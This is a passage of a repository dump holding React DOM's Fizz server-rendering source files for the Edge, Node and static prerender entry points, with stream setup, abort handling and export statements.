});\n}\n\nexport {renderToReadableStream, ReactVersion as version};\n"
  },
  {
    "path": "packages/react-dom/src/server/ReactDOMFizzServerEdge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {PostponedState, ErrorInfo} from 'react-server/src/ReactFizzServer';\nimport type {ReactNodeList, ReactFormState} from 'shared/ReactTypes';\nimport type {\n  BootstrapScriptDescriptor,\n  HeadersDescriptor,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\nimport type {ImportMap} from '../shared/ReactDOMTypes';\n\nimport ReactVersion from 'shared/ReactVersion';\n\nimport {\n  createRequest,\n  resumeRequest,\n  startWork,\n  startFlowing,\n  stopFlowing,\n  abort,\n} from 'react-server/src/ReactFizzServer';\n\nimport {\n  createResumableState,\n  createRenderState,\n  resumeRenderState,\n  createRootFormatContext,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nimport {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';\nensureCorrectIsomorphicReactVersion();\n\ntype NonceOption =\n  | string\n  | {\n      script?: string,\n      style?: string,\n    };\n\ntype Options = {\n  identifierPrefix?: string,\n  namespaceURI?: string,\n  nonce?: NonceOption,\n  bootstrapScriptContent?: string,\n  bootstrapScripts?: Array<string | BootstrapScriptDescriptor>,\n  bootstrapModules?: Array<string | BootstrapScriptDescriptor>,\n  progressiveChunkSize?: number,\n  signal?: AbortSignal,\n  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,\n  unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,\n  importMap?: ImportMap,\n  formState?: ReactFormState<any, any> | null,\n  onHeaders?: (headers: Headers) => void,\n  maxHeadersLength?: number,\n};\n\ntype ResumeOptions = {\n  nonce?: NonceOption,\n  signal?: AbortSignal,\n  onError?: (error: mixed) => ?string,\n  unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,\n};\n\n// TODO: Move to sub-classing ReadableStream.\ntype ReactDOMServerReadableStream = ReadableStream & {\n  allReady: Promise<void>,\n};\n\nfunction renderToReadableStream(\n  children: ReactNodeList,\n  options?: Options,\n): Promise<ReactDOMServerReadableStream> {\n  return new Promise((resolve, reject) => {\n    let onFatalError;\n    let onAllReady;\n    const allReady = new Promise<void>((res, rej) => {\n      onAllReady = res;\n      onFatalError = rej;\n    });\n\n    function onShellReady() {\n      const stream: ReactDOMServerReadableStream = (new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      ): any);\n      // TODO: Move to sub-classing ReadableStream.\n      stream.allReady = allReady;\n      resolve(stream);\n    }\n    function onShellError(error: mixed) {\n      // If the shell errors the caller of `renderToReadableStream` won't have access to `allReady`.\n      // However, `allReady` will be rejected by `onFatalError` as well.\n      // So we need to catch the duplicate, uncatchable fatal error in `allReady` to prevent a `UnhandledPromiseRejection`.\n      allReady.catch(() => {});\n      reject(error);\n    }\n\n    const onHeaders = options ? options.onHeaders : undefined;\n    let onHeadersImpl;\n    if (onHeaders) {\n      onHeadersImpl = (headersDescriptor: HeadersDescriptor) => {\n        onHeaders(new Headers(headersDescriptor));\n      };\n    }\n\n    const resumableState = createResumableState(\n      options ? options.identifierPrefix : undefined,\n      options ? options.unstable_externalRuntimeSrc : undefined,\n      options ? options.bootstrapScriptContent : undefined,\n      options ? options.bootstrapScripts : undefined,\n      options ? options.bootstrapModules : undefined,\n    );\n    const request = createRequest(\n      children,\n      resumableState,\n      createRenderState(\n        resumableState,\n        options ? options.nonce : undefined,\n        options ? options.unstable_externalRuntimeSrc : undefined,\n        options ? options.importMap : undefined,\n        onHeadersImpl,\n        options ? options.maxHeadersLength : undefined,\n      ),\n      createRootFormatContext(options ? options.namespaceURI : undefined),\n      options ? options.progressiveChunkSize : undefined,\n      options ? options.onError : undefined,\n      onAllReady,\n      onShellReady,\n      onShellError,\n      onFatalError,\n      options ? options.formState : undefined,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction resume(\n  children: ReactNodeList,\n  postponedState: PostponedState,\n  options?: ResumeOptions,\n): Promise<ReactDOMServerReadableStream> {\n  return new Promise((resolve, reject) => {\n    let onFatalError;\n    let onAllReady;\n    const allReady = new Promise<void>((res, rej) => {\n      onAllReady = res;\n      onFatalError = rej;\n    });\n\n    function onShellReady() {\n      const stream: ReactDOMServerReadableStream = (new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      ): any);\n      // TODO: Move to sub-classing ReadableStream.\n      stream.allReady = allReady;\n      resolve(stream);\n    }\n    function onShellError(error: mixed) {\n      // If the shell errors the caller of `renderToReadableStream` won't have access to `allReady`.\n      // However, `allReady` will be rejected by `onFatalError` as well.\n      // So we need to catch the duplicate, uncatchable fatal error in `allReady` to prevent a `UnhandledPromiseRejection`.\n      allReady.catch(() => {});\n      reject(error);\n    }\n    const request = resumeRequest(\n      children,\n      postponedState,\n      resumeRenderState(\n        postponedState.resumableState,\n        options ? options.nonce : undefined,\n      ),\n      options ? options.onError : undefined,\n      onAllReady,\n      onShellReady,\n      onShellError,\n      onFatalError,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nexport {renderToReadableStream, resume, ReactVersion as version};\n"
  },
  {
    "path": "packages/react-dom/src/server/ReactDOMFizzServerNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Request,\n  PostponedState,\n  ErrorInfo,\n} from 'react-server/src/ReactFizzServer';\nimport type {ReactNodeList, ReactFormState} from 'shared/ReactTypes';\nimport type {Writable} from 'stream';\nimport type {\n  BootstrapScriptDescriptor,\n  HeadersDescriptor,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\nimport type {Destination} from 'react-server/src/ReactServerStreamConfigNode';\nimport type {ImportMap} from '../shared/ReactDOMTypes';\n\nimport ReactVersion from 'shared/ReactVersion';\n\nimport {\n  createRequest,\n  resumeRequest,\n  startWork,\n  startFlowing,\n  stopFlowing,\n  abort,\n  prepareForStartFlowingIfBeforeAllReady,\n} from 'react-server/src/ReactFizzServer';\n\nimport {\n  createResumableState,\n  createRenderState,\n  resumeRenderState,\n  createRootFormatContext,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nimport {textEncoder} from 'react-server/src/ReactServerStreamConfigNode';\n\nimport {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';\nensureCorrectIsomorphicReactVersion();\n\nfunction createDrainHandler(destination: Destination, request: Request) {\n  return () => startFlowing(request, destination);\n}\n\nfunction createCancelHandler(request: Request, reason: string) {\n  return () => {\n    stopFlowing(request);\n    // eslint-disable-next-line react-internal/prod-error-codes\n    abort(request, new Error(reason));\n  };\n}\n\ntype NonceOption =\n  | string\n  | {\n      script?: string,\n      style?: string,\n    };\n\ntype Options = {\n  identifierPrefix?: string,\n  namespaceURI?: string,\n  nonce?: NonceOption,\n  bootstrapScriptContent?: string,\n  bootstrapScripts?: Array<string | BootstrapScriptDescriptor>,\n  bootstrapModules?: Array<string | BootstrapScriptDescriptor>,\n  progressiveChunkSize?: number,\n  onShellReady?: () => void,\n  onShellError?: (error: mixed) => void,\n  onAllReady?: () => void,\n  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,\n  unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,\n  importMap?: ImportMap,\n  formState?: ReactFormState<any, any> | null,\n  onHeaders?: (headers: HeadersDescriptor) => void,\n  maxHeadersLength?: number,\n};\n\ntype ResumeOptions = {\n  nonce?: NonceOption,\n  onShellReady?: () => void,\n  onShellError?: (error: mixed) => void,\n  onAllReady?: () => void,\n  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,\n};\n\ntype PipeableStream = {\n  // Cancel any pending I/O and put anything remaining into\n  // client rendered mode.\n  abort(reason: mixed): void,\n  pipe<T: Writable>(destination: T): T,\n};\n\nfunction createRequestImpl(children: ReactNodeList, options: void | Options) {\n  const resumableState = createResumableState(\n    options ? options.identifierPrefix : undefined,\n    options ? options.unstable_externalRuntimeSrc : undefined,\n    options ? options.bootstrapScriptContent : undefined,\n    options ? options.bootstrapScripts : undefined,\n    options ? options.bootstrapModules : undefined,\n  );\n  return createRequest(\n    children,\n    resumableState,\n    createRenderState(\n      resumableState,\n      options ? options.nonce : undefined,\n      options ? options.unstable_externalRuntimeSrc : undefined,\n      options ? options.importMap : undefined,\n      options ? options.onHeaders : undefined,\n      options ? options.maxHeadersLength : undefined,\n    ),\n    createRootFormatContext(options ? options.namespaceURI : undefined),\n    options ? options.progressiveChunkSize : undefined,\n    options ? options.onError : undefined,\n    options ? options.onAllReady : undefined,\n    options ? options.onShellReady : undefined,\n    options ? options.onShellError : undefined,\n    undefined,\n    options ? options.formState : undefined,\n  );\n}\n\nfunction renderToPipeableStream(\n  children: ReactNodeList,\n  options?: Options,\n): PipeableStream {\n  const request = createRequestImpl(children, options);\n  let hasStartedFlowing = false;\n  startWork(request);\n  return {\n    pipe<T: Writable>(destination: T): T {\n      if (hasStartedFlowing) {\n        throw new Error(\n          'React currently only supports piping to one writable stream.',\n        );\n      }\n      hasStartedFlowing = true;\n      prepareForStartFlowingIfBeforeAllReady(request);\n      startFlowing(request, destination);\n      destination.on('drain', createDrainHandler(destination, request));\n      destination.on(\n        'error',\n        createCancelHandler(\n          request,\n          'The destination stream errored while writing data.',\n        ),\n      );\n      destination.on(\n        'close',\n        createCancelHandler(request, 'The destination stream closed early.'),\n      );\n      return destination;\n    },\n    abort(reason: mixed) {\n      abort(request, reason);\n    },\n  };\n}\n\nfunction createFakeWritableFromReadableStreamController(\n  controller: ReadableStreamController,\n): Writable {\n  // The current host config expects a Writable so we create\n  // a fake writable for now to push into the Readable.\n  return ({\n    write(chunk: string | Uint8Array) {\n      if (typeof chunk === 'string') {\n        chunk = textEncoder.encode(chunk);\n      }\n      controller.enqueue(chunk);\n      // in web streams there is no backpressure so we can alwas write more\n      return true;\n    },\n    end() {\n      controller.close();\n    },\n    destroy(error) {\n      // $FlowFixMe[method-unbinding]\n      if (typeof controller.error === 'function') {\n        // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.\n        controller.error(error);\n      } else {\n        controller.close();\n      }\n    },\n  }: any);\n}\n\n// TODO: Move to sub-classing ReadableStream.\ntype ReactDOMServerReadableStream = ReadableStream & {\n  allReady: Promise<void>,\n};\n\ntype WebStreamsOptions = Omit<\n  Options,\n  'onShellReady' | 'onShellError' | 'onAllReady' | 'onHeaders',\n> & {signal: AbortSignal, onHeaders?: (headers: Headers) => void};\n\nfunction renderToReadableStream(\n  children: ReactNodeList,\n  options?: WebStreamsOptions,\n): Promise<ReactDOMServerReadableStream> {\n  return new Promise((resolve, reject) => {\n    let onFatalError;\n    let onAllReady;\n    const allReady = new Promise<void>((res, rej) => {\n      onAllReady = res;\n      onFatalError = rej;\n    });\n\n    function onShellReady() {\n      let writable: Writable;\n      const stream: ReactDOMServerReadableStream = (new ReadableStream(\n        {\n          type: 'bytes',\n          start: (controller): ?Promise<void> => {\n            writable =\n              createFakeWritableFromReadableStreamController(controller);\n          },\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, writable);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      ): any);\n      // TODO: Move to sub-classing ReadableStream.\n      stream.allReady = allReady;\n      resolve(stream);\n    }\n    function onShellError(error: mixed) {\n      // If the shell errors the caller of `renderToReadableStream` won't have access to `allReady`.\n      // However, `allReady` will be rejected by `onFatalError` as well.\n      // So we need to catch the duplicate, uncatchable fatal error in `allReady` to prevent a `UnhandledPromiseRejection`.\n      allReady.catch(() => {});\n      reject(error);\n    }\n\n    const onHeaders = options ? options.onHeaders : undefined;\n    let onHeadersImpl;\n    if (onHeaders) {\n      onHeadersImpl = (headersDescriptor: HeadersDescriptor) => {\n        onHeaders(new Headers(headersDescriptor));\n      };\n    }\n\n    const resumableState = createResumableState(\n      options ? options.identifierPrefix : undefined,\n      options ? options.unstable_externalRuntimeSrc : undefined,\n      options ? options.bootstrapScriptContent : undefined,\n      options ? options.bootstrapScripts : undefined,\n      options ? options.bootstrapModules : undefined,\n    );\n    const request = createRequest(\n      children,\n      resumableState,\n      createRenderState(\n        resumableState,\n        options ? options.nonce : undefined,\n        options ? options.unstable_externalRuntimeSrc : undefined,\n        options ? options.importMap : undefined,\n        onHeadersImpl,\n        options ? options.maxHeadersLength : undefined,\n      ),\n      createRootFormatContext(options ? options.namespaceURI : undefined),\n      options ? options.progressiveChunkSize : undefined,\n      options ? options.onError : undefined,\n      onAllReady,\n      onShellReady,\n      onShellError,\n      onFatalError,\n      options ? options.formState : undefined,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction resumeRequestImpl(\n  children: ReactNodeList,\n  postponedState: PostponedState,\n  options: void | ResumeOptions,\n) {\n  return resumeRequest(\n    children,\n    postponedState,\n    resumeRenderState(\n      postponedState.resumableState,\n      options ? options.nonce : undefined,\n    ),\n    options ? options.onError : undefined,\n    options ? options.onAllReady : undefined,\n    options ? options.onShellReady : undefined,\n    options ? options.onShellError : undefined,\n    undefined,\n  );\n}\n\nfunction resumeToPipeableStream(\n  children: ReactNodeList,\n  postponedState: PostponedState,\n  options?: ResumeOptions,\n): PipeableStream {\n  const request = resumeRequestImpl(children, postponedState, options);\n  let hasStartedFlowing = false;\n  startWork(request);\n  return {\n    pipe<T: Writable>(destination: T): T {\n      if (hasStartedFlowing) {\n        throw new Error(\n          'React currently only supports piping to one writable stream.',\n        );\n      }\n      hasStartedFlowing = true;\n      startFlowing(request, destination);\n      destination.on('drain', createDrainHandler(destination, request));\n      destination.on(\n        'error',\n        createCancelHandler(\n          request,\n          'The destination stream errored while writing data.',\n        ),\n      );\n      destination.on(\n        'close',\n        createCancelHandler(request, 'The destination stream closed early.'),\n      );\n      return destination;\n    },\n    abort(reason: mixed) {\n      abort(request, reason);\n    },\n  };\n}\n\ntype WebStreamsResumeOptions = Omit<\n  Options,\n  'onShellReady' | 'onShellError' | 'onAllReady',\n> & {signal: AbortSignal};\n\nfunction resume(\n  children: ReactNodeList,\n  postponedState: PostponedState,\n  options?: WebStreamsResumeOptions,\n): Promise<ReactDOMServerReadableStream> {\n  return new Promise((resolve, reject) => {\n    let onFatalError;\n    let onAllReady;\n    const allReady = new Promise<void>((res, rej) => {\n      onAllReady = res;\n      onFatalError = rej;\n    });\n\n    function onShellReady() {\n      let writable: Writable;\n      const stream: ReactDOMServerReadableStream = (new ReadableStream(\n        {\n          type: 'bytes',\n          start: (controller): ?Promise<void> => {\n            writable =\n              createFakeWritableFromReadableStreamController(controller);\n          },\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, writable);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      ): any);\n      // TODO: Move to sub-classing ReadableStream.\n      stream.allReady = allReady;\n      resolve(stream);\n    }\n    function onShellError(error: mixed) {\n      // If the shell errors the caller of `renderToReadableStream` won't have access to `allReady`.\n      // However, `allReady` will be rejected by `onFatalError` as well.\n      // So we need to catch the duplicate, uncatchable fatal error in `allReady` to prevent a `UnhandledPromiseRejection`.\n      allReady.catch(() => {});\n      reject(error);\n    }\n    const request = resumeRequest(\n      children,\n      postponedState,\n      resumeRenderState(\n        postponedState.resumableState,\n        options ? options.nonce : undefined,\n      ),\n      options ? options.onError : undefined,\n      onAllReady,\n      onShellReady,\n      onShellError,\n      onFatalError,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nexport {\n  renderToPipeableStream,\n  renderToReadableStream,\n  resumeToPipeableStream,\n  resume,\n  ReactVersion as version,\n};\n"
  },
  {
    "path": "packages/react-dom/src/server/ReactDOMFizzStaticBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\nimport type {\n  BootstrapScriptDescriptor,\n  HeadersDescriptor,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\nimport type {PostponedState, ErrorInfo} from 'react-server/src/ReactFizzServer';\nimport type {ImportMap} from '../shared/ReactDOMTypes';\n\nimport ReactVersion from 'shared/ReactVersion';\n\nimport {\n  createPrerenderRequest,\n  resumeAndPrerenderRequest,\n  startWork,\n  startFlowing,\n  stopFlowing,\n  abort,\n  getPostponedState,\n} from 'react-server/src/ReactFizzServer';\n\nimport {\n  createResumableState,\n  createRenderState,\n  resumeRenderState,\n  createRootFormatContext,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nimport {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';\nensureCorrectIsomorphicReactVersion();\n\ntype NonceOption =\n  | string\n  | {\n      script?: string,\n      style?: string,\n    };\n\ntype Options = {\n  identifierPrefix?: string,\n  namespaceURI?: string,\n  bootstrapScriptContent?: string,\n  bootstrapScripts?: Array<string | BootstrapScriptDescriptor>,\n  bootstrapModules?: Array<string | BootstrapScriptDescriptor>,\n  progressiveChunkSize?: number,\n  signal?: AbortSignal,\n  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,\n  unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,\n  importMap?: ImportMap,\n  onHeaders?: (headers: Headers) => void,\n  maxHeadersLength?: number,\n};\n\ntype StaticResult = {\n  postponed: null | PostponedState,\n  prelude: ReadableStream,\n};\n\nfunction prerender(\n  children: ReactNodeList,\n  options?: Options,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n\n    function onAllReady() {\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n\n      const result: StaticResult = {\n        postponed: getPostponedState(request),\n        prelude: stream,\n      };\n      resolve(result);\n    }\n\n    const onHeaders = options ? options.onHeaders : undefined;\n    let onHeadersImpl;\n    if (onHeaders) {\n      onHeadersImpl = (headersDescriptor: HeadersDescriptor) => {\n        onHeaders(new Headers(headersDescriptor));\n      };\n    }\n\n    const resources = createResumableState(\n      options ? options.identifierPrefix : undefined,\n      options ? options.unstable_externalRuntimeSrc : undefined,\n      options ? options.bootstrapScriptContent : undefined,\n      options ? options.bootstrapScripts : undefined,\n      options ? options.bootstrapModules : undefined,\n    );\n    const request = createPrerenderRequest(\n      children,\n      resources,\n      createRenderState(\n        resources,\n        undefined, // nonce is not compatible with prerendered bootstrap scripts\n        options ? options.unstable_externalRuntimeSrc : undefined,\n        options ? options.importMap : undefined,\n        onHeadersImpl,\n        options ? options.maxHeadersLength : undefined,\n      ),\n      createRootFormatContext(options ? options.namespaceURI : undefined),\n      options ? options.progressiveChunkSize : undefined,\n      options ? options.onError : undefined,\n      onAllReady,\n      undefined,\n      undefined,\n      onFatalError,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\ntype ResumeOptions = {\n  nonce?: NonceOption,\n  signal?: AbortSignal,\n  onError?: (error: mixed) => ?string,\n  unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,\n};\n\nfunction resumeAndPrerender(\n  children: ReactNodeList,\n  postponedState: PostponedState,\n  options?: Omit<ResumeOptions, 'nonce'>,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n\n    function onAllReady() {\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n\n      const result = {\n        postponed: getPostponedState(request),\n        prelude: stream,\n      };\n      resolve(result);\n    }\n\n    const request = resumeAndPrerenderRequest(\n      children,\n      postponedState,\n      resumeRenderState(postponedState.resumableState, undefined),\n      options ? options.onError : undefined,\n      onAllReady,\n      undefined,\n      undefined,\n      onFatalError,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nexport {prerender, resumeAndPrerender, ReactVersion as version};\n"
  },
  {
    "path": "packages/react-dom/src/server/ReactDOMFizzStaticEdge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\nimport type {\n  BootstrapScriptDescriptor,\n  HeadersDescriptor,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\nimport type {PostponedState, ErrorInfo} from 'react-server/src/ReactFizzServer';\nimport type {ImportMap} from '../shared/ReactDOMTypes';\n\nimport ReactVersion from 'shared/ReactVersion';\n\nimport {\n  createPrerenderRequest,\n  resumeAndPrerenderRequest,\n  startWork,\n  startFlowing,\n  stopFlowing,\n  abort,\n  getPostponedState,\n} from 'react-server/src/ReactFizzServer';\n\nimport {\n  createResumableState,\n  createRenderState,\n  resumeRenderState,\n  createRootFormatContext,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nimport {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';\nensureCorrectIsomorphicReactVersion();\n\ntype NonceOption =\n  | string\n  | {\n      script?: string,\n      style?: string,\n    };\n\ntype Options = {\n  identifierPrefix?: string,\n  namespaceURI?: string,\n  bootstrapScriptContent?: string,\n  bootstrapScripts?: Array<string | BootstrapScriptDescriptor>,\n  bootstrapModules?: Array<string | BootstrapScriptDescriptor>,\n  progressiveChunkSize?: number,\n  signal?: AbortSignal,\n  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,\n  unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,\n  importMap?: ImportMap,\n  onHeaders?: (headers: Headers) => void,\n  maxHeadersLength?: number,\n};\n\ntype StaticResult = {\n  postponed: null | PostponedState,\n  prelude: ReadableStream,\n};\n\nfunction prerender(\n  children: ReactNodeList,\n  options?: Options,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n\n    function onAllReady() {\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n\n      const result: StaticResult = {\n        postponed: getPostponedState(request),\n        prelude: stream,\n      };\n      resolve(result);\n    }\n\n    const onHeaders = options ? options.onHeaders : undefined;\n    let onHeadersImpl;\n    if (onHeaders) {\n      onHeadersImpl = (headersDescriptor: HeadersDescriptor) => {\n        onHeaders(new Headers(headersDescriptor));\n      };\n    }\n    const resources = createResumableState(\n      options ? options.identifierPrefix : undefined,\n      options ? options.unstable_externalRuntimeSrc : undefined,\n      options ? options.bootstrapScriptContent : undefined,\n      options ? options.bootstrapScripts : undefined,\n      options ? options.bootstrapModules : undefined,\n    );\n    const request = createPrerenderRequest(\n      children,\n      resources,\n      createRenderState(\n        resources,\n        undefined, // nonce is not compatible with prerendered bootstrap scripts\n        options ? options.unstable_externalRuntimeSrc : undefined,\n        options ? options.importMap : undefined,\n        onHeadersImpl,\n        options ? options.maxHeadersLength : undefined,\n      ),\n      createRootFormatContext(options ? options.namespaceURI : undefined),\n      options ? options.progressiveChunkSize : undefined,\n      options ? options.onError : undefined,\n      onAllReady,\n      undefined,\n      undefined,\n      onFatalError,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\ntype ResumeOptions = {\n  nonce?: NonceOption,\n  signal?: AbortSignal,\n  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,\n};\n\nfunction resumeAndPrerender(\n  children: ReactNodeList,\n  postponedState: PostponedState,\n  options?: Omit<ResumeOptions, 'nonce'>,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n\n    function onAllReady() {\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n\n      const result = {\n        postponed: getPostponedState(request),\n        prelude: stream,\n      };\n      resolve(result);\n    }\n\n    const request = resumeAndPrerenderRequest(\n      children,\n      postponedState,\n      resumeRenderState(postponedState.resumableState, undefined),\n      options ? options.onError : undefined,\n      onAllReady,\n      undefined,\n      undefined,\n      onFatalError,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nexport {prerender, resumeAndPrerender, ReactVersion as version};\n"
  },
  {
    "path": "packages/react-dom/src/server/ReactDOMFizzStaticNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\nimport type {\n  BootstrapScriptDescriptor,\n  HeadersDescriptor,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\nimport type {PostponedState, ErrorInfo} from 'react-server/src/ReactFizzServer';\nimport type {ImportMap} from '../shared/ReactDOMTypes';\n\nimport {Writable, Readable} from 'stream';\n\nimport ReactVersion from 'shared/ReactVersion';\n\nimport {\n  createPrerenderRequest,\n  resumeAndPrerenderRequest,\n  startWork,\n  startFlowing,\n  stopFlowing,\n  abort,\n  getPostponedState,\n} from 'react-server/src/ReactFizzServer';\n\nimport {\n  createResumableState,\n  createRenderState,\n  resumeRenderState,\n  createRootFormatContext,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nimport {textEncoder} from 'react-server/src/ReactServerStreamConfigNode';\n\nimport {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';\nensureCorrectIsomorphicReactVersion();\n\ntype NonceOption =\n  | string\n  | {\n      script?: string,\n      style?: string,\n    };\n\ntype Options = {\n  identifierPrefix?: string,\n  namespaceURI?: string,\n  bootstrapScriptContent?: string,\n  bootstrapScripts?: Array<string | BootstrapScriptDescriptor>,\n  bootstrapModules?: Array<string | BootstrapScriptDescriptor>,\n  progressiveChunkSize?: number,\n  signal?: AbortSignal,\n  